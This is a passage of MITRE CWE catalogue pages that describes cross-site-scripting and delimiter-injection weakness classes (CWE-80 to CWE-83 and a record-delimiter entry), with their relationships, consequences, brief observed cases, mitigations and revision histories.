+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.140Improper Neutralization of Delimiters
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Unexpected State

+ Observed Examples
ReferenceDescription
Carriage returns in subject field allow adding new records to data file.
Attacker inserts carriage returns and "|" field separator characters to add new user/privileges.
+ Potential Mitigations
Developers should anticipate that record delimiters will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy: Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1407Comprehensive Categorization: Improper Neutralization
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERRecord Delimiter
Software Fault PatternsSFP24Tainted input to command
+ References
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 8, "Embedded Delimiters", Page 408. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-07-27CWE Content TeamMITRE
updated Potential_Mitigations
2010-04-05CWE Content TeamMITRE
updated Description, Name
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-05-03CWE Content TeamMITRE
updated Potential_Mitigations
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2023-01-31CWE Content TeamMITRE
updated Description, Potential_Mitigations
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Record Delimiter
2010-04-05Failure to Sanitize Record Delimiters

CWE-81: Improper Neutralization of Script in an Error Message Web Page

Weakness ID: 81
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special characters that could be interpreted as web-scripting elements when they are sent to an error page.
+ Extended Description

Error pages may include customized 403 Forbidden or 404 Not Found pages.

When an attacker can trigger an error that contains script syntax within the attacker's input, then cross-site scripting attacks may be possible.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.79Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
CanAlsoBeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.209Generation of Error Message Containing Sensitive Information
CanAlsoBeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.390Detection of Error Condition Without Action
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity
Availability

Technical Impact: Read Application Data; Execute Unauthorized Code or Commands

+ Observed Examples
ReferenceDescription
XSS in default error page from Host: header.
XSS in error message.
XSS in error page from targeted parameter.
+ Potential Mitigations

Phase: Implementation

Do not write user-controlled input to error pages.

Phase: Implementation

Carefully check each input parameter against a rigorous positive specification (allowlist) defining the specific characters and format allowed. All input should be neutralized, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. We often encounter data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.

Phase: Implementation

Strategy: Output Encoding

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

Phase: Implementation

With Struts, write all data from form beans with the bean's filter attribute set to true.

Phase: Implementation

Strategy: Attack Surface Reduction

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHTTPRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

Effectiveness: Defense in Depth

+ Weakness Ordinalities
OrdinalityDescription
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1409Comprehensive Categorization: Injection
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERXSS in error pages
Software Fault PatternsSFP24Tainted input to command
+ References
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 11: Failure to Handle Errors Correctly." Page 183. McGraw-Hill. 2010.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Description, Relationships, Taxonomy_Mappings, Weakness_Ordinalities
2008-10-14CWE Content TeamMITRE
updated Description
2009-05-27CWE Content TeamMITRE
updated Description, Name
2010-04-05CWE Content TeamMITRE
updated Related_Attack_Patterns
2010-06-21CWE Content TeamMITRE
updated Description, Name, Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-02-21CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-05-03CWE Content TeamMITRE
updated Potential_Mitigations
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Causal_Nature
2020-02-24CWE Content TeamMITRE
updated Description, Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11XSS in Error Pages
2009-05-27Failure to Sanitize Directives in an Error Message Web Page
2010-06-21Improper Sanitization of Script in an Error Message Web Page

CWE-83: Improper Neutralization of Script in Attributes in a Web Page

Weakness ID: 83
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not neutralize or incorrectly neutralizes "javascript:" or other URIs from dangerous attributes within tags, such as onmouseover, onload, onerror, or style.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.79Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.82Improper Neutralization of Script in Attributes of IMG Tags in a Web Page
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity
Availability

Technical Impact: Read Application Data; Execute Unauthorized Code or Commands

+ Observed Examples
ReferenceDescription
Bypass filtering of SCRIPT tags using onload in BODY, href in A, BUTTON, INPUT, and others.
guestbook XSS in STYLE or IMG SRC attributes.
Javascript in onerror attribute of IMG tag.
XSS in web-based email product via onmouseover event.
XSS via script in <P> tag.
Onload, onmouseover, and other events in an e-mail attachment.
Onmouseover and onload events in img, link, and mail tags.
Javascript in onmouseover attribute in e-mail address or URL.
+ Potential Mitigations

Phase: Implementation

Carefully check each input parameter against a rigorous positive specification (allowlist) defining the specific characters and format allowed. All input should be neutralized, not just parameters that the user is supposed to specify, but all data in the request, including tag attributes, hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. We often encounter data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.

Phase: Implementation

Strategy: Output Encoding

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

Phase: Implementation

With Struts, write all data from form beans with the bean's filter attribute set to true.

Phase: Implementation

Strategy: Attack Surface Reduction

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHTTPRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

Effectiveness: Defense in Depth

+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1347OWASP Top Ten 2021 Category A03:2021 - Injection
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1409Comprehensive Categorization: Injection
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERXSS using Script in Attributes
Software Fault PatternsSFP24Tainted input to command
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Observed_Example, Taxonomy_Mappings, Weakness_Ordinalities
2009-10-29CWE Content TeamMITRE
updated Relationships
2010-04-05CWE Content TeamMITRE
updated Description, Name, Related_Attack_Patterns
2010-06-21CWE Content TeamMITRE
updated Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-05-03CWE Content TeamMITRE
updated Potential_Mitigations, Related_Attack_Patterns
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Causal_Nature
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11XSS using Script in Attributes
2010-04-05Failure to Sanitize Script in Attributes in a Web Page

CWE-82: Improper Neutralization of Script in Attributes of IMG Tags in a Web Page

Weakness ID: 82
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The web application does not neutralize or incorrectly neutralizes scripting elements within attributes of HTML IMG tags, such as the src attribute.
+ Extended Description
Attackers can embed XSS exploits into the values for IMG attributes (e.g. SRC) that is streamed and then executed in a victim's browser. Note that when the page is loaded into a user's browsers, the exploit will automatically execute.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.83Improper Neutralization of Script in Attributes in a Web Page
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity
Availability

Technical Impact: Read Application Data; Execute Unauthorized Code or Commands

+ Observed Examples
ReferenceDescription
Stored XSS in a guestbook application using a javascript: URI in a bbcode img tag.
javascript URI scheme in IMG tag.
javascript URI scheme in IMG tag.
javascript URI scheme in IMG tag.
javascript URI scheme in IMG tag.
javascript URI scheme in IMG tag.
javascript URI scheme in IMG tag.
javascript URI scheme in IMG tag.
+ Potential Mitigations

Phase: Implementation

Strategy: Output Encoding

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

Phase: Implementation

Strategy: Attack Surface Reduction

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHTTPRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

Effectiveness: Defense in Depth

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1409Comprehensive Categorization: Injection
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERScript in IMG tags
Software Fault PatternsSFP24Tainted input to command
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description
2009-05-27CWE Content TeamMITRE
updated Description, Name
2009-10-29CWE Content TeamMITRE
updated Relationships
2009-12-28CWE Content TeamMITRE
updated Observed_Examples
2010-06-21CWE Content TeamMITRE
updated Description, Name, Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-05-03CWE Content TeamMITRE
updated Related_Attack_Patterns
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Script in IMG Tags
2009-05-27Failure to Sanitize Script in Attributes of IMG Tags in a Web Page
2010-06-21Improper Sanitization of Script in Attributes of IMG Tags in a Web Page

CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)

Weakness ID: 80
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special characters such as "<", ">", and "&" that could be interpreted as web-scripting elements when they are sent to a downstream component that processes web pages.
+ Extended Description
This may allow such characters to be treated as control characters, which are executed client-side in the context of the user's session. Although this can be classified as an injection problem, the more pertinent issue is the improper conversion of such special characters to respective context-appropriate entities before displaying them to the user.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.79Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
